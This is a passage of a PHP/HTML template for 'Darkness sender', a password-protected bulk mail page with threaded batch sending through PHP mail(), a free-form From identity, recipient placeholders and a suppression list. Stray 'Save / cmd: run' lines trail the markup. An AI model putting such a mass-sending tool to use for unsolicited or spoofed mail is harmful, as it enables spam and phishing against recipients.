showError(error); } finally { setTimeout(poll, 2000); } } root.querySelectorAll('[data-batch-action]').forEach(button => button.addEventListener('click', async () => { if (!state.active || controlPending) return; controlPending = true; clearTimeout(pumpTimer); render(); try { const payload = await request(button.dataset.batchAction, {batch_key: state.active.key}); stopped = false; notice.hidden = true; accept(payload.state); } catch (error) { showError(error); } finally { controlPending = false; render(); schedule(); } })); settingsForm.addEventListener('submit', async event => { event.preventDefault(); const button = settingsForm.querySelector('button[type="submit"]'); button.disabled = true; try { const payload = await request('save_limits', {delay_seconds: settingsForm.elements.delay_seconds.value, threads: settingsForm.elements.threads.value}); accept(payload.state); settingsFeedback.textContent = 'Saved. The new delay and threads apply to the current batch.'; } catch (error) { settingsFeedback.textContent = error.message; } finally { button.disabled = false; } }); window.addEventListener('online', () => { if (stopped) notice.textContent = 'Connection is back. Press Resume to continue from saved progress.'; }); window.addEventListener('pageshow', event => { if (event.persisted) location.reload(); }); accept(initial); setTimeout(poll, 2000); })(); }, {once: true}); </script> </head> <body> <a class="skip-link" href="#main">Skip to content</a> <div class="app-shell"> <header class="topbar"> <a href="<?= e($view['self']) ?>" class="brand" aria-label="Darkness sender home"> <span class="brand-mark" aria-hidden="true"><svg viewBox="0 0 32 32" fill="none"><path d="M8 7h8a9 9 0 1 1 0 18H8V7Z" stroke="currentColor" stroke-width="2.5"/><path d="M5 12h11M5 20h11" stroke="currentColor" stroke-width="2.5" stroke-linecap="round"/></svg></span> <span>Darkness <span class="brand-light">sender</span><small>MAIL WORKSPACE</small></span> </a> <?php if ($authenticated): ?> <nav class="top-nav" aria-label="Main navigation"> <a href="#compose">Compose</a><a href="#activity">Activity</a><a href="#settings">Connection</a> </nav> <form method="post" action="<?= e($view['self']) ?>" class="logout-form"> <input type="hidden" name="csrf" value="<?= e($view['csrf'] ?? '') ?>"> <input type="hidden" name="action" value="logout"> <button class="button button-quiet" type="submit">Sign out <span aria-hidden="true">↗</span></button> </form> <?php else: ?> <span class="topbar-note"><span class="status-dot" aria-hidden="true"></span>Private workspace</span> <?php endif; ?> </header> <main id="main" tabindex="-1"> <?php if ($flash): ?> <div class="notice <?= ($flash['type'] ?? '') === 'success' ? 'notice-success' : 'notice-error' ?>" role="<?= ($flash['type'] ?? '') === 'success' ? 'status' : 'alert' ?>"> <span class="notice-symbol" aria-hidden="true"><?= ($flash['type'] ?? '') === 'success' ? '✓' : '!' ?></span> <p><?= e($flash['message'] ?? '') ?></p> </div> <?php endif; ?> <?php if ($setupErrors): ?> <section class="notice notice-error setup-notice" role="alert" aria-labelledby="setup-title"> <span class="notice-symbol" aria-hidden="true">!</span> <div><h2 id="setup-title">Workspace unavailable</h2><ul><?php foreach ($setupErrors as $error): ?><li><?= e($error) ?></li><?php endforeach; ?></ul></div> </section> <?php endif; ?> <?php if (!$authenticated): ?> <div class="login-layout"> <section class="login-intro"> <p class="eyebrow"><span></span>YOUR MAIL. ONE WORKSPACE.</p> <h1>A clearer way<br>to <span>send.</span></h1> <p class="intro-copy">Compose with focus. Send through PHP mail(). Review each batch in your current session.</p> <div class="login-features"><span>PHP mail transport</span><span>Session queue</span><span>Useful diagnostics</span></div> <div class="orbital-art" aria-hidden="true"><div class="orbital-line orbital-one"></div><div class="orbital-line orbital-two"></div><div class="orbital-line orbital-three"></div><span class="orbital-core"><svg viewBox="0 0 60 60" fill="none"><rect x="10" y="16" width="40" height="29" rx="5" stroke="currentColor" stroke-width="2"/><path d="m12 19 18 14 18-14" stroke="currentColor" stroke-width="2"/></svg></span><span class="orbital-dot dot-one"></span><span class="orbital-dot dot-two"></span></div> </section> <section class="panel login-panel" aria-labelledby="login-title"> <p class="eyebrow">WELCOME BACK</p><h2 id="login-title">Open your workspace</h2><p class="muted">Enter your password to continue.</p> <form method="post" action="<?= e($view['self']) ?>" class="login-fields"> <input type="hidden" name="csrf" value="<?= e($view['csrf'] ?? '') ?>"> <input type="hidden" name="action" value="login"> <label for="password">Workspace password</label> <input type="password" id="password" name="pass" autocomplete="current-password" required autofocus> <button type="submit" class="button button-primary button-full">Sign in <span aria-hidden="true">→</span></button> </form> <p class="login-footnote">No automatic logout for inactivity. Sign out when you are finished.</p> </section> </div> <?php else: ?> <section class="page-heading" aria-labelledby="workspace-title"> <div><p class="eyebrow"><span></span>MAIL WORKSPACE</p><h1 id="workspace-title">Make every message count.</h1><p class="muted">Add your recipients, set your delay and threads, then start one batch.</p></div> <span class="workspace-label"><span class="status-dot" aria-hidden="true"></span>Session workspace</span> </section> <section class="metrics" aria-label="Queue status"> <article class="metric"><span>Waiting in queue</span><strong data-metric="queued"><?= e((string) ($counts['queued'] ?? 0)) ?></strong><small>No automatic retries</small></article> <article class="metric"><span>Sending now</span><strong data-metric="sending"><?= e((string) ($counts['sending'] ?? 0)) ?></strong><small>Automatic batch processing</small></article> <article class="metric"><span>Transport accepted</span><strong data-metric="accepted"><?= e((string) ($counts['accepted'] ?? 0)) ?></strong><small>Handed to the local mail transport</small></article> <article class="metric metric-attention"><span>Needs attention</span><strong data-metric="attention"><?= e((string) (($counts['failed'] ?? 0) + ($counts['uncertain'] ?? 0))) ?></strong><small id="attention-breakdown"><?= e((string) ($counts['failed'] ?? 0)) ?> failed · <?= e((string) ($counts['uncertain'] ?? 0)) ?> uncertain</small></article> </section> <div class="workspace-grid"> <section class="panel composer" id="compose" aria-labelledby="compose-title"> <div class="panel-heading"><div><p class="eyebrow">01 / COMPOSE</p><h2 id="compose-title">A new message</h2></div><span class="small-tag">Email</span></div> <form action="<?= e($view['self']) ?>" method="post" enctype="multipart/form-data" id="compose-form"> <input type="hidden" name="csrf" value="<?= e($view['csrf'] ?? '') ?>"> <input type="hidden" name="action" value="enqueue"> <input type="hidden" name="submission_key" value="<?= e($view['submissionKey'] ?? '') ?>"> <div class="field"><label for="from-email">From email</label><input type="email" id="from-email" name="from_email" value="<?= e($old['from_email'] ?? $config['from_email'] ?? '') ?>" placeholder="you@your-domain.com" required aria-describedby="from-email-help"><p id="from-email-help" class="field-help">Use a sender address your hosting account is allowed to send from.</p></div> <div class="field"><label for="from-name">Sender name</label><input type="text" id="from-name" name="from_name" value="<?= e($old['from_name'] ?? $config['from_name'] ?? '') ?>" placeholder="Your name or organization" maxlength="200"></div> <div class="field"><label for="reply-to">Reply-to <span class="optional">Optional</span></label><input type="email" id="reply-to" name="reply_to" value="<?= e($old['reply_to'] ?? $config['reply_to'] ?? '') ?>" placeholder="Defaults to your From email"></div> <div class="field"><div class="label-row"><label for="recipients">Recipients</label><span id="recipient-count" class="muted">One address per line</span></div><textarea id="recipients" name="recipients" rows="3" placeholder="reader@example.com another@example.com" aria-describedby="recipients-help" data-max-recipients="<?= e((string) ($config['max_recipients'] ?? 0)) ?>"><?= e($old['recipients'] ?? '') ?></textarea><p id="recipients-help" class="field-help">Use bare email addresses, one per line. <?php if (($config['max_recipients'] ?? 0) > 0): ?>Up to <?= e($config['max_recipients']) ?> per submission.<?php else: ?>No fixed recipient-count cap. Your server’s request and memory limits still apply.<?php endif; ?> Send only to recipients who expect your mail.</p></div> <div class="field"><label for="subject">Subject</label><input id="subject" name="subject" type="text" maxlength="200" placeholder="Give your message a clear introduction" value="<?= e($old['subject'] ?? '') ?>" required></div> <div class="field"><div class="label-row"><label for="body">Message</label><div class="format-control"><label for="format" class="visually-hidden">Message format</label><select id="format" name="format"><option value="html"<?= $format === 'html' ? ' selected' : '' ?>>HTML</option><option value="plain"<?= $format === 'plain' ? ' selected' : '' ?>>Plain text</option></select></div></div><textarea id="body" name="body" rows="11" class="message-editor" placeholder="Write your message here…" required spellcheck="true"><?= e($old['body'] ?? '') ?></textarea><p class="field-help">Personalize with <code>{{email}}</code>, <code>{{email_user}}</code>, <code>{{email_domain}}</code> or <code>{{date}}</code>.</p></div> <details class="disclosure" id="message-preview"><summary><span>Preview message</span><span class="summary-detail">Sample recipient</span></summary><div class="preview-container"><div class="preview-meta"><span>To <strong>reader@example.com</strong></span><span id="preview-subject">Your subject appears here</span></div><iframe id="preview-frame" title="Isolated email preview" tabindex="-1" inert sandbox="" referrerpolicy="no-referrer"></iframe><p class="field-help">External images, links, scripts and forms are blocked in this preview. Email clients may render styles differently.</p></div></details> <details class="disclosure"><summary><span>Attachments & plain text alternative</span><span class="summary-detail">Optional</span></summary><div class="disclosure-content"><div class="field"><label for="attachments">Attachments</label><input type="file" name="attachments[]" id="attachments" multiple accept=".pdf,.txt,.csv,.png,.jpg,.jpeg" aria-describedby="attachments-help"><p class="field-help" id="attachments-help">PDF, TXT, CSV, PNG or JPEG. At most 5 files, <?= e($attachmentMegabytes) ?> MB combined. Reattach files if a submission needs correction.</p><p class="field-help" id="attachment-summary" aria-live="polite"></p></div><div class="field"><label for="alt-body">Plain text alternative</label><textarea id="alt-body" name="alt_body" rows="4" placeholder="An optional text version of your HTML message."><?= e($old['alt_body'] ?? '') ?></textarea><p class="field-help">Used with HTML messages for email clients that prefer plain text.</p></div><p class="field-help">Legacy placeholders <code>[-email-]</code>, <code>[-emailuser-]</code>, <code>[-emaildomain-]</code> and <code>[-time-]</code> are also supported.</p></div></details> <div class="send-area"><div class="field test-field"><label for="test-recipient">Test recipient <span class="optional">Optional</span></label><div class="test-row"><input type="email" id="test-recipient" name="test_recipient" placeholder="you@example.com" value="<?= e($old['test_recipient'] ?? '') ?>"><button type="submit" name="mode" value="test" class="button button-secondary">Send test</button></div><p class="field-help">Start a one-recipient test batch using your delay and threads settings.</p></div><div class="compose-footer"><p>Start batch saves all recipients together and starts sending automatically. Keep this page open.</p><button type="submit" name="mode" value="queue" class="button button-primary">Start batch <span aria-hidden="true">↗</span></button></div><p id="compose-feedback" class="form-feedback" role="alert" hidden></p></div> </form> </section> <aside class="workspace-sidebar"> <section class="panel connection-panel" id="settings" aria-labelledby="connection-title"><div class="panel-heading"><div><p class="eyebrow">02 / CONNECTION</p><h2 id="connection-title">Your sending route</h2></div><span class="connection-icon" aria-hidden="true">↗</span></div><dl class="connection-details"><div><dt>Transport</dt><dd>PHP mail()</dd></div><div><dt>Sending settings</dt><dd id="sending-summary"><?= e($config['delay_seconds']) ?> s between emails / <?= e($config['threads']) ?> threads</dd></div><div><dt>Sender details</dt><dd>Set in your message</dd></div></dl> <section class="mail-server-detection" id="mail-server-detection" aria-labelledby="mail-server-title"> <h3 id="mail-server-title">Mail server detection</h3> <?php $serverStatus = in_array($mailServer['status'] ?? '', ['ok', 'warn', 'error'], true) ? $mailServer['status'] : 'warn'; ?> <div class="diagnostic diagnostic-<?= e($serverStatus) ?>" role="status"><span aria-hidden="true"><?= $serverStatus === 'ok' ? '✓' : '!' ?></span><div><strong><?= e($mailServer['label'] ?? 'Mail server not detected') ?></strong><p><?= e($mailServer['detail'] ?? 'The mail server configuration is unavailable.') ?></p></div></div> <?php if (!empty($mailServer['facts'])): ?><dl class="mail-server-facts"><?php foreach ($mailServer['facts'] as $fact): ?><div><dt><?= e($fact['label']) ?></dt><dd><?= e($fact['value']) ?></dd></div><?php endforeach; ?></dl><?php endif; ?> <p class="field-help">Detected automatically on page load. This check reads PHP settings without connecting or sending email.</p> </section> <form action="<?= e($view['self']) ?>#mail-server-detection" method="post"><input type="hidden" name="csrf" value="<?= e($view['csrf'] ?? '') ?>"><input type="hidden" name="action" value="diagnose"><button type="submit" class="button button-secondary button-full">Check configuration <span aria-hidden="true">↻</span></button></form> <form action="<?= e($view['self']) ?>" method="post" class="limits-form" id="sending-settings" aria-labelledby="limits-title"> <input type="hidden" name="csrf" value="<?= e($view['csrf'] ?? '') ?>"> <input type="hidden" name="action" value="save_limits"> <h3 id="limits-title">Delay & threads</h3> <div class="limits-fields"> <div class="field"><label for="send-delay">Delay (seconds)</label><input id="send-delay" name="delay_seconds" type="number" min="0" max="86400" step="any" inputmode="decimal" required value="<?= e($config['delay_seconds']) ?>"></div> <div class="field"><label for="send-threads">Threads</label><input id="send-threads" name="threads" type="number" min="1" max="32" step="1" inputmode="numeric" required value="<?= e($config['threads']) ?>"></div> </div> <button class="button button-secondary button-full" type="submit">Save settings</button> <p class="field-help">Delay is the minimum gap between email starts across all threads. Threads control concurrent sends; your host and browser may allow fewer. Changes apply immediately.</p><p class="field-help" id="settings-feedback" role="status"></p> </form> <?php if ($diagnostics): ?><div class="diagnostic-results" aria-live="polite"><?php foreach ($diagnostics as $diagnostic): $diagnosticStatus = in_array($diagnostic['status'] ?? '', ['ok', 'warn', 'error'], true) ? $diagnostic['status'] : 'warn'; ?><div class="diagnostic diagnostic-<?= e($diagnosticStatus) ?>"><span aria-hidden="true"><?= $diagnosticStatus === 'ok' ? '✓' : '!' ?></span><div><strong><?= e($diagnostic['label'] ?? 'Connection check') ?></strong><p><?= e($diagnostic['detail'] ?? '') ?></p></div></div><?php endforeach; ?></div><?php endif; ?> </section> <section class="panel suppression-panel" aria-labelledby="suppression-title"><div class="panel-heading"><div><p class="eyebrow">RECIPIENT CONTROLS</p><h2 id="suppression-title">Session suppression list</h2></div><span class="small-tag"><?= e((string) ($view['suppressionCount'] ?? 0)) ?></span></div><p class="muted compact-copy">Prevent sends to an address and cancel its waiting messages in this session. This list clears when the session ends.</p><form action="<?= e($view['self']) ?>" method="post"><input type="hidden" name="csrf" value="<?= e($view['csrf'] ?? '') ?>"><input type="hidden" name="action" value="suppress"><div class="field"><label for="suppress-email">Email address</label><input type="email" id="suppress-email" name="email" placeholder="recipient@example.com" required></div><div class="field"><label for="suppress-reason">Reason <span class="optional">Optional</span></label><input type="text" id="suppress-reason" name="reason" placeholder="Unsubscribed or requested removal" maxlength="200"></div><button type="submit" class="button button-secondary button-full">Suppress address</button></form></section> <div class="delivery-note"><span class="note-icon" aria-hidden="true">i</span><div><h3>Know what “accepted” means</h3><p>Transport acceptance means PHP handed the message to the local mail transport. It does not confirm inbox delivery. Check your provider’s delivery and bounce reports.</p></div></div> <div class="delivery-note"><span class="note-icon" aria-hidden="true">i</span><div><h3>Saved for this session only</h3><p>Your authenticated session has no application idle timeout. Signing out clears its queue, history and suppression list. Closing your browser or hosting cleanup can also end the session. Delay and threads settings apply only to this session. Keep a sending page open; browser suspension can pause progress.</p></div></div> </aside> </div> <section class="panel activity-panel" id="activity" aria-labelledby="activity-title"> <div id="batch-runner" data-endpoint="<?= e($view['self']) ?>" data-csrf="<?= e($view['csrf']) ?>" data-state="<?= e(json_encode($view['senderState'], JSON_INVALID_UTF8_SUBSTITUTE)) ?>"> <div class="panel-heading"><div><p class="eyebrow">03 / ACTIVITY</p><h2 id="activity-title">Batch history</h2></div> <div class="history-actions"> <button type="button" class="button button-primary" id="resume-batch" data-batch-action="resume_batch">Resume</button> <button type="button" class="button button-secondary" id="pause-batch" data-batch-action="pause_batch">Pause</button> <button type="button" class="button button-quiet" id="cancel-batch" data-batch-action="cancel_batch">Cancel remaining</button> </div> </div> <p class="activity-caption" id="runner-status" role="status">Loading saved batch progress...</p> <p class="runner-error" id="runner-notice" role="alert" hidden></p> <noscript><p class="runner-error">Enable JavaScript to send batches automatically and view recipient results.</p></noscript> <div id="batch-list"></div> <div class="empty-state" id="batch-empty"><h3>Your first batch starts here.</h3><p>Add your recipients and click Start batch. Every recipient is saved together, and sending continues automatically.</p><a href="#compose" class="text-link">Go to composer</a></div> </div> </section> <?php endif; ?> </main> <footer class="site-footer"><span>Darkness sender</span><span>Intentional sending. Visible progress.</span></footer> </div> </body> </html> <?php }
Save
cmd:
run